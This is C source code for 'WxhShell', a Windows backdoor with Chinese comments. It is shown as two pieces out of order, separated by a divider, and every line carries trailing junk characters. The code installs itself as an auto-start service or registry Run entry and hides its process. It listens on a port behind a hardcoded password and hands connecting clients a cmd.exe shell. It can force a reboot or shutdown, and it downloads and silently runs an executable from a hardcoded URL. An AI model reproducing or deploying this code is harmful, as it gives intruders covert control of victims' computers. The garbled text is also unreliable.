    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ] RLEyDB  
    if(Boot(SHUTDOWN)) _[p@V_my  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >sZ207*  
    else { .NX>d@ Kc  
    closesocket(wsh); 'kE^oX_  
    ExitThread(0); ~'u %66  
    } 6i=Nk"d  
    break; /OsTZ"*.2/  
    }  1k39KO@  
  // 获取shell ]/TqPOi:  
  case 's': {  $hgsWa  
    CmdShell(wsh); |$QL>{81  
    closesocket(wsh); Fq`wx  
    ExitThread(0); rvwfQ'14  
    break; .4cOMiG  
  } hcJny  
  // 退出 RI0 +9YJ  
  case 'x': { ?YA5g' l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1}DUe. a  
    CloseIt(wsh); d_!l RQ^N  
    break; ,].S~6IM  
    } RXWS,rF  
  // 离开 oP`yBX  
  case 'q': { \-scGemH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qE)G;Y<,1  
    closesocket(wsh); <CM}g4Y  
    WSACleanup(); <cx,Z5W  
    exit(1); .:?cU#.  
    break; 6H:'_|G  
        } rxM)SC;P  
  } ^[u*m%UB  
  } B>{\qj)%  
F3,djZq  
  // 提示信息 dq U.2~9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Hj;o  
} K26x,m]p  
  } 1u\kxlZ  
v>]^wH>/"  
  return; N \Wd 0b  
} ,Y_[+  
m<wEw-1.  
// shell模块句柄 B9Z=`c.T  
int CmdShell(SOCKET sock) iT}L9\  
{ _!'sj=n]q  
STARTUPINFO si; _0c$SK  
ZeroMemory(&si,sizeof(si)); ,Z 1W3;O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0Q= o"@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'h~I#S4!  
PROCESS_INFORMATION ProcessInfo; MI<XLn!*  
char cmdline[]="cmd"; z6 A`/ jF}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nbM7 >tnsk  
  return 0; .}||!  
} RI2Or9.  
x|oa"l^JZ"  
// 自身启动模式 2`]_c=  
int StartFromService(void) |0A:0'uA!  
{ z,#3YC{'  
typedef struct Me|+)}'p5h  
{ twA2U7F  
  DWORD ExitStatus; 0-{l4;o  
  DWORD PebBaseAddress; G*$a81dAX  
  DWORD AffinityMask; VtJy0OGcRP  
  DWORD BasePriority; T.j&UEsd  
  ULONG UniqueProcessId; TPeBb8v 8D  
  ULONG InheritedFromUniqueProcessId; {cF >, T  
}   PROCESS_BASIC_INFORMATION; `9yR,Xk=l  
\ mt> R[  
PROCNTQSIP NtQueryInformationProcess; dS[="Set  
H@R2mw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fpK`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =P"Sm r  
Z" !+p{u  
  HANDLE             hProcess; xK8R![x  
  PROCESS_BASIC_INFORMATION pbi; S3(2.c~  
>|e>=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t<Z)D0.  
  if(NULL == hInst ) return 0; \p&a c&]  
}:5>1FfX=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;*8nd-\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !Ho=(6V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D;l)&"|r?  
Q(e3-a  
  if (!NtQueryInformationProcess) return 0; 0Q_@2  
al3[Ph5G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nPj/C7j  
  if(!hProcess) return 0; LpJ_HU7@lk  
$*u{i4b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Gr775"  
}nW)+  
  CloseHandle(hProcess); ,UD,)ZPf[  
}ST0?_0F*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yv!,iK9  
if(hProcess==NULL) return 0; =>7\s}QZ  
bC mhlSNi  
HMODULE hMod; aF'9&A;q  
char procName[255]; t,8p}2,$  
unsigned long cbNeeded; +yYv"J  
8'kA",P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B?xu!B,  
ZoiCdXvTN  
  CloseHandle(hProcess);  9g*MBe:  
"w\Iz]  
if(strstr(procName,"services")) return 1; // 以服务启动 W]v[Xm$q  
Je6=N3)  
  return 0; // 注册表启动 oV c l (  
} r|WoM39bp  
0*.> >rI  
// 主模块 N!e?K=}tL  
int StartWxhshell(LPSTR lpCmdLine) Dl#%tYL+3h  
{ w C0fPPeA  
  SOCKET wsl; -;?5<>zZ  
BOOL val=TRUE; w]{NaNIeq1  
  int port=0; }0({c~z\  
  struct sockaddr_in door; ]bq<vI%  
8'2lc  
  if(wscfg.ws_autoins) Install(); 1/bu}?a  
mYudUn4Wo  
port=atoi(lpCmdLine); k_=~ObA$g  
h69: Tj!  
if(port<=0) port=wscfg.ws_port; @lau?@$ja  
oj7X9~ nd  
  WSADATA data; _`JY A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <h/\)bPB  
oK GFDl]3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p,=:Ff}~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "}bk *2  
  door.sin_family = AF_INET; $o"PQ!z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^;2dZgJ4^  
  door.sin_port = htons(port); <N%8"o  
\Mv8pU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *mM+(]8US  
closesocket(wsl); bT@7&  
return 1; V;Zp3Qo!  
} H]. 4~ 8  
u_o>v{&i  
  if(listen(wsl,2) == INVALID_SOCKET) { 6NCa=9  
closesocket(wsl); 6t5)rlT  
return 1; -o+_PL $\  
} 6/9h=-w&  
  Wxhshell(wsl); Musz+<]  
  WSACleanup(); ]u_^~  
`F>1xMm  
return 0; n ?%3=~9  
VZ*Q|  
} Dk|<&uVV  
E\r5!45r  
// 以NT服务方式启动 Q~4o{"3.'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !}()mrIlP  
{ [FKmZzEy  
DWORD   status = 0; t Ib?23K0  
  DWORD   specificError = 0xfffffff; T[=XGAJ  
_9Kdcoh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a$MMp=p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ] t|KFk!)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oy'Q#!  
  serviceStatus.dwWin32ExitCode     = 0; $} S5&  
  serviceStatus.dwServiceSpecificExitCode = 0; zjh&?G]:G  
  serviceStatus.dwCheckPoint       = 0; '[p~| mX  
  serviceStatus.dwWaitHint       = 0; 3MC| O5R4  
lX`)Avqa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u pf7:gk +  
  if (hServiceStatusHandle==0) return; {MKq Yl{  
*g5df[  
status = GetLastError(); ^sq3@*hCw  
  if (status!=NO_ERROR) Kg>+5~+E?q  
{ E~zLhJTUL'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IPcAE!h6zN  
    serviceStatus.dwCheckPoint       = 0; k 6~k  
    serviceStatus.dwWaitHint       = 0; :&`Yz   
    serviceStatus.dwWin32ExitCode     = status; c3|;'s  
    serviceStatus.dwServiceSpecificExitCode = specificError; yov:JnWo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Z] }G  
    return; \1RQ),5 %]  
  } cW),Y|8  
 !+IxPn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U<eVLfSij  
  serviceStatus.dwCheckPoint       = 0; Y[;Pl$  
  serviceStatus.dwWaitHint       = 0; +I2P{7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pM\)f  
} B4&@PX"'>,  
r{kV*^\E  
// 处理NT服务事件,比如:启动、停止 tqrvcnQr^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5SX0g(C  
{ ,u( g#T  
switch(fdwControl) N7Z&_$Bx  
{ [*?P2.bf  
case SERVICE_CONTROL_STOP: @l&5 |Cia  
  serviceStatus.dwWin32ExitCode = 0; 6.~(oepu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P]+^^ U  
  serviceStatus.dwCheckPoint   = 0; Tp<=dH%$%"  
  serviceStatus.dwWaitHint     = 0; ~@z5Ld3xz  
  { ")HTUlcAe}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sEdWBT 8  
  } l~&efAJ-$  
  return; bqf=;Nvog  
case SERVICE_CONTROL_PAUSE: X8bo?0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~m uVQ  
  break; V:!fe+ Er  
case SERVICE_CONTROL_CONTINUE: +:It1`A~]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +F 6KGK[  
  break; 6%ID*  
case SERVICE_CONTROL_INTERROGATE: uGLVY%N  
  break; HqOSQ<-Fo  
}; *ARro Ndr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8dUwJ"<5  
} nAd 4g|  
7G%`ziZ  
// 标准应用程序主函数 xzMa[D4(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `X^ 4~6/q  
{ [fR<#1Z  
yN~=3b>  
// 获取操作系统版本 "6pjkEt4  
OsIsNt=GetOsVer(); ;pb~Zk/[,w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8.jd'yp*J  
u|8`=  
  // 从命令行安装 pa+^5N  
  if(strpbrk(lpCmdLine,"iI")) Install(); h+.^8fPR   
V85a{OBm,8  
  // 下载执行文件 tq@<8?  
if(wscfg.ws_downexe) { Li Qs;$V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OU9=O>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0+r/>-3]  
} HK&F'\'}  
Z/;rM8[{&  
if(!OsIsNt) { wC=IN   
// 如果时win9x,隐藏进程并且设置为注册表启动 K N0S$nW+  
HideProc(); -mX _I{BJ  
StartWxhshell(lpCmdLine); )l30~5u<J  
} f*5=,$0  
else  G!O D7:  
  if(StartFromService()) )KBv[|  
  // 以服务方式启动 FNmIXpAn*@  
  StartServiceCtrlDispatcher(DispatchTable); <`| }bt  
else K~,,xsy,G&  
  // 普通方式启动 o?p) V^7  
  StartWxhshell(lpCmdLine); a%(1#2^`q!  
`p#A2Ap A  
return 0; *TE6p  
} `?=AgGg  
qg.[M*  
!h&hPY1  
_vU,avw  
=========================================== ,=oq)Fm]  
.#j)YG  
5/P?@`/ eT  
S*#y7YKI  
30<dEoF  
"-<u.$fE  
" `r>WVPS|  
b;m6m4i'f{  
#include <stdio.h> [mWo&Ph[-  
#include <string.h> tMyD^jVC  
#include <windows.h> M_79\Gz"  
#include <winsock2.h> =nid #<X  
#include <winsvc.h> ~`-9i{L  
#include <urlmon.h> HSK^vd?_l  
p2&KGt X'  
#pragma comment (lib, "Ws2_32.lib") WJz   
#pragma comment (lib, "urlmon.lib") \=yg@K?"AJ  
XJ@ /r,2  
#define MAX_USER   100 // 最大客户端连接数 fEQ<L!'  
#define BUF_SOCK   200 // sock buffer !0Q(x  
#define KEY_BUFF   255 // 输入 buffer U}Xc@- \ ?  
C(,s_Ks  
#define REBOOT     0   // 重启 um3 M4>K  
#define SHUTDOWN   1   // 关机 o"n^zG  
8`u#tl(  
#define DEF_PORT   5000 // 监听端口 0^[ " &K/  
YuPgsJ[m  
#define REG_LEN     16   // 注册表键长度 *[yCcqN.  
#define SVC_LEN     80   // NT服务名长度 qKO\;e*  
wc__g8?'  
// 从dll定义API UdL`.D,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k9R1E/;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Tiq2+hmf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pd7FU~-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >Q5 SJZ/  
h Qu9ux  
// wxhshell配置信息 o Y.JK  
struct WSCFG { N(1jm F  
  int ws_port;         // 监听端口 &G<ZK9Ot}0  
  char ws_passstr[REG_LEN]; // 口令 jsez$m%vs  
  int ws_autoins;       // 安装标记, 1=yes 0=no l0Pg`wH,  
  char ws_regname[REG_LEN]; // 注册表键名 u:,B"!  
  char ws_svcname[REG_LEN]; // 服务名 0|GxOzNd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uN`ACc)ESi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *VRFs=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X^xu$d6   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4El{2cfA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q?1 KxD!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w$B7..r  
;[9cj&7C<  
}; Y$Uvt_  
},f7I^s|  
// default Wxhshell configuration >T!n* -Zn  
struct WSCFG wscfg={DEF_PORT, -OkKLub  
    "xuhuanlingzhe", s}?98?tYB  
    1, 7Q[P  
    "Wxhshell",  K8 ThZY%  
    "Wxhshell", Ak}l6{ ..  
            "WxhShell Service", `L;I/Hp  
    "Wrsky Windows CmdShell Service", 9L&AbmIr  
    "Please Input Your Password: ", s{iYf :  
  1, K@>v|JD  
  "http://www.wrsky.com/wxhshell.exe", <#R7sco'  
  "Wxhshell.exe" +[F9Q,bH@b  
    }; Hpsg[d)!  
;TW@{re  
// 消息定义模块 ?$s2] }v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )m)>k` 0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +>:X4A *  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;\&7smE[  
char *msg_ws_ext="\n\rExit."; T Z>z5YTv  
char *msg_ws_end="\n\rQuit."; ^d2g"L   
char *msg_ws_boot="\n\rReboot..."; R/^ rh  
char *msg_ws_poff="\n\rShutdown..."; qrOTb9&y  
char *msg_ws_down="\n\rSave to "; {'}Ofj   
O:Z|fDQ`  
char *msg_ws_err="\n\rErr!"; >2C;5ba  
char *msg_ws_ok="\n\rOK!"; <N`rcKE%~P  
j5/H#_ .  
char ExeFile[MAX_PATH]; 75v*&-  
int nUser = 0; RyM2CQg[  
HANDLE handles[MAX_USER]; igo7F@_,  
int OsIsNt; wvh4AE5F|z  
&<>A  
SERVICE_STATUS       serviceStatus; ^~Ar  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !*\^-uvaK  
t(_XB|AKm  
// 函数声明 _*`AGda  
int Install(void); Y5npz^i  
int Uninstall(void); m[8#h(s*t  
int DownloadFile(char *sURL, SOCKET wsh); -u9{R\S  
int Boot(int flag); @\q~OyV  
void HideProc(void); <]!IC]+  
int GetOsVer(void); 8vP d~te  
int Wxhshell(SOCKET wsl); Aw|3W ]  
void TalkWithClient(void *cs); '$U"RP^(  
int CmdShell(SOCKET sock); <Jvr mm[  
int StartFromService(void); j5HOdy2  
int StartWxhshell(LPSTR lpCmdLine); dm 2_Fj  
Q,DumOq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t)v#y!Ci"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sP&E{{<QTF  
Z'fy9  
// 数据结构和表定义 zf S<X  
SERVICE_TABLE_ENTRY DispatchTable[] = f~U|flL^  
{ ~O|0.)71]  
{wscfg.ws_svcname, NTServiceMain}, gT+/CVj R  
{NULL, NULL} +_ G'FD  
}; U  *I52$  
N4}h_mh^'  
// 自我安装 woR)E0'qx  
int Install(void) 4%]{46YnK  
{ jBB<{VV|  
  char svExeFile[MAX_PATH]; ~_oTEXT^O  
  HKEY key; }Jtaq[y\r  
  strcpy(svExeFile,ExeFile); `}=Fw0  
U$J]^-AS  
// 如果是win9x系统,修改注册表设为自启动 |zUDu\MZ{  
if(!OsIsNt) { xFvSQ`sp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q6DhypB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); onmO>q*  
  RegCloseKey(key); \e?T 9c6,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &\(YmY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [+%*s3`c#  
  RegCloseKey(key); uL= \t=  
  return 0; jjbw.n+1  
    } Xgl>kJy<#  
  } ofi']J{R  
} g 08 `=g  
else { iy4JI,-W  
npe*A  
// 如果是NT以上系统,安装为系统服务 &=UzF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2n7[Op  
if (schSCManager!=0) md2kZ.5u  
{ }i[jJb`bY  
  SC_HANDLE schService = CreateService %Wu8RG}  
  ( MdKZH\z/  
  schSCManager, :L?zk"0C  
  wscfg.ws_svcname, q<UqGj7#   
  wscfg.ws_svcdisp, S xgY q  
  SERVICE_ALL_ACCESS, ^:q(ksssY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ht-6_]+ME  
  SERVICE_AUTO_START, kOjq LA  
  SERVICE_ERROR_NORMAL, ]#qdA(Kl  
  svExeFile, C8jZcs#4  
  NULL, uI%[1`2N-  
  NULL, C/w;g3  
  NULL, ~Ch`A@=5  
  NULL, JxWHrsh[  
  NULL bH.">IV  
  ); 4EELaP|%  
  if (schService!=0) HWd,1  
  { D"Xm9 (  
  CloseServiceHandle(schService); R5FjJ>JE  
  CloseServiceHandle(schSCManager); mB,7YZv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xtnB: 3  
  strcat(svExeFile,wscfg.ws_svcname); '(Bs<)(H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xM*v!J,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?+!KucTF  
  RegCloseKey(key); W)"q9(T?%  
  return 0; C&SYmYj^c  
    } HR}c9wy,q\  
  } AsLAm#zq  
  CloseServiceHandle(schSCManager); |p+VitM7  
} 9X(bByEO  
} 8e-{S~@W  
Gmwn:  
return 1; `rcjZ^n  
} H;CGLis  
UFl*^j_)]  
// 自我卸载 B%t^QbU#\  
int Uninstall(void) 2#&K3v  
{ (>jME  
  HKEY key; |#sP1w'l]  
Vr^wesT\Hx  
if(!OsIsNt) { N8vWwN[3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h%O`,iD2  
  RegDeleteValue(key,wscfg.ws_regname); yJr Pb"  
  RegCloseKey(key); EbW7Av  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j` x9z_  
  RegDeleteValue(key,wscfg.ws_regname); <)}*S  
  RegCloseKey(key); a0n F U  
  return 0; sv[)?1S  
  } Oo0$n]*;W  
} AV'>  
} jy*wj7fj1  
else { Gg&jb=  
RsY<j& f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AiyjrEa%  
if (schSCManager!=0) Q A%GK4F70  
{ |9Y9pked8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0I cyi#N  
  if (schService!=0) >Kr,(8rA  
  { z(m*]kpL"  
  if(DeleteService(schService)!=0) { U/ZbE?it>  
  CloseServiceHandle(schService); }C'z$i( y  
  CloseServiceHandle(schSCManager); 6>"0H/y,  
  return 0; n% *u;iG  
  } h!Ka\By8#  
  CloseServiceHandle(schService); ve.4""\a  
  } +F/'+  
  CloseServiceHandle(schSCManager); l5R H~F  
} %'>. R  
} $a-~ozr`C  
YgDgd\  
return 1; T#( s2  
} S)~h|&A(  
=DtM.oQ>  
// 从指定url下载文件 xJ3#k;  
int DownloadFile(char *sURL, SOCKET wsh) ^fx9R 5E$:  
{ E`X+fJx  
  HRESULT hr; EfyF]cYL  
char seps[]= "/"; '*T7tl  
char *token; z><JbSE?  
char *file; E u@TCw8@  
char myURL[MAX_PATH]; >GjaA1,  
char myFILE[MAX_PATH]; hVlL"w*1  
_W!g'HP-D  
strcpy(myURL,sURL); qBpY3]/  
  token=strtok(myURL,seps); S<>e(x3g]  
  while(token!=NULL) bH= 5[  
  { KomF)KQ2r  
    file=token; )jH"6my_  
  token=strtok(NULL,seps); Zj}, VB*T  
  } X{ Nif G  
"NJ!A  
GetCurrentDirectory(MAX_PATH,myFILE); 8@r+)2  
strcat(myFILE, "\\"); ?>,aq>2O$  
strcat(myFILE, file); U,]z)1#X|  
  send(wsh,myFILE,strlen(myFILE),0); +Q'/c0o  
send(wsh,"...",3,0); ,og@}gOMB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |S4yol  
  if(hr==S_OK) -aO3/Ik [q  
return 0; O,bj_CWx  
else 5!5P\o  
return 1; :hevBBP  
}^QY<Cp|  
} W=|B3}C?  
c#l (~g$D+  
// 系统电源模块 6 o+zhi;E  
int Boot(int flag) C!.6:Aj  
{ :n>h[{ o%  
  HANDLE hToken; !g}9xIL  
  TOKEN_PRIVILEGES tkp; } FFW,x  
R sujKh/  
  if(OsIsNt) { 7?A}q mv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]vlQNd?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }R>g(q=N  
    tkp.PrivilegeCount = 1; ?d_Cy\G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MVTU$ 65  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;[6u79;I  
if(flag==REBOOT) { Bg#NB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VE GUhI/d  
  return 0; 7f`jl/   
} O|OPdD  
else { & XrV[d[>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KDY~9?}TM  
  return 0; ?5->F/f&  
} uxR_(~8  
  } e0hT  
  else { qV(Plt%  
if(flag==REBOOT) { 3rWqt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rL%xl,cn<  
  return 0; SQliF[-  
} PanyN3rC*  
else { #!5GGe{I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ."h;H^5  
  return 0; ;z[yNW8  
} mMa7Eyaf  
} =XYfzR  
=g&0CFF<  
return 1; i=SX_#b^  
} -nU_eDy  
E(S}c*05O  
// win9x进程隐藏模块 aEgzQono  
void HideProc(void) fCTjTlh  
{ M"P$hb'F  
-Y+[`0$'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M r@M~ -  
  if ( hKernel != NULL ) K&S~IFy  
  { R!,RZ?|v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,>Yz1P)L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vF*H5\ m<a  
    FreeLibrary(hKernel); {)Gh~~57_W  
  } \(Hg_]>m  
>Cf]uiR  
return; 5[;^Em)C  
} W`;E-28Dg  
!>! l=Z  
// 获取操作系统版本 Y[pGaiN:  
int GetOsVer(void) sGzd c  
{ K{ 0mb  
  OSVERSIONINFO winfo; KRz\ct|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i1scoxX3\  
  GetVersionEx(&winfo); U"ga0X5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M,<%j  
  return 1; O[8Lp?  
  else LtNG<n)_BH  
  return 0; ;)o%2#I  
} mT~:k}u~W  
iedoL0#  
// 客户端句柄模块 :qnRiK]  
int Wxhshell(SOCKET wsl) JM M\  
{ j7i[z>:Y  
  SOCKET wsh; n[{o~VN  
  struct sockaddr_in client; PAqziq.  
  DWORD myID; B]kz3FF  
dz7*a {  
  while(nUser<MAX_USER) ]5} =r  
{ .kBAUkL:  
  int nSize=sizeof(client); 8^HMK$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^^)Pv#[3  
  if(wsh==INVALID_SOCKET) return 1; {E@@14]g  
kKCkjA:o##  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y_a~>S  
if(handles[nUser]==0) id*UTY Tg  
  closesocket(wsh); S__ o#nf`%  
else 4}l,|7_&I  
  nUser++; 2O4U ytN  
  } {)`5*sd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &hZcj dB  
<Q%o}m4Kt  
  return 0; lM?P8#3  
} $3FFb#r  
? Bk"3{hl  
// 关闭 socket ey y&JjVs  
void CloseIt(SOCKET wsh) m-;u]X=a  
{ B-Fu/n  
closesocket(wsh); n /rQ*hr  
nUser--; f9#B(4Tgi  
ExitThread(0); BPC$ v\a  
} g*8sh  
)L^WD$"'Q  
// 客户端请求句柄 :e gSW2"5S  
void TalkWithClient(void *cs) ,Kdvt@vle  
{ R` /n sou  
3"q%-M|+Q  
  SOCKET wsh=(SOCKET)cs; om@` NW  
  char pwd[SVC_LEN]; U^Hymgb%  
  char cmd[KEY_BUFF]; d<#Xqc  
char chr[1]; `kFxq<?aK  
int i,j; C[wnor!  
iT I W;Cv  
  while (nUser < MAX_USER) { "< [D1E\  
Tqm9><!r  
if(wscfg.ws_passstr) { @8Co5`CVl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >)!"XFbb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t7n*kiN<q  
  //ZeroMemory(pwd,KEY_BUFF); haB$W 4x  
      i=0; |QXW$  
  while(i<SVC_LEN) { EjvxfqPv  
^W'\8L  
  // 设置超时 2W|j K  
  fd_set FdRead; %B#Ewt@[  
  struct timeval TimeOut; m3.d!~U\  
  FD_ZERO(&FdRead); &oNy~l o  
  FD_SET(wsh,&FdRead); [7L1y) I(  
  TimeOut.tv_sec=8; ?EKYKLwr  
  TimeOut.tv_usec=0; ynDa4HB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '0w'||#1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NjL,0Bp  
eK`n5Z&Y\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,TP^i 0  
  pwd=chr[0]; e8P |eK  
  if(chr[0]==0xd || chr[0]==0xa) { ~D 5'O^  
  pwd=0; [f^~Z'TIN/  
  break; b) .@ xS  
  } &W}ooGg  
  i++; E]"ePdZZ/  
    } G+}|gG8  
X%39cXM C  
  // 如果是非法用户,关闭 socket Hn:%(Rg=aW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XPb7gd"% W  
} :* @=px  
C9({7[k^%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hX~IZ((Hi8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !t[X/iu  
1\_4# @')  
while(1) { 4uDz=B+8y  
c1e7h l  
  ZeroMemory(cmd,KEY_BUFF); AY|8wf,LS  
W0l|E&fj[  
      // 自动支持客户端 telnet标准   jr'O4bo%  
  j=0; [bE9Y;  
  while(j<KEY_BUFF) { >|H=25N>;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zn@tLLX  
  cmd[j]=chr[0]; F5&4x"c  
  if(chr[0]==0xa || chr[0]==0xd) { L +-B,466  
  cmd[j]=0; { 5h6nYu  
  break; Zj!S('hSY  
  } &eyFApM[Z  
  j++; TQYud'u/  
    } Rl<~:,D  
~(G]-__B<  
  // 下载文件 tNfku  
  if(strstr(cmd,"http://")) { kXv -B-wOj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4z?6[Cg<  
  if(DownloadFile(cmd,wsh)) 7&OU!gp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5ahAp];  
  else PK!=3fK4\F  
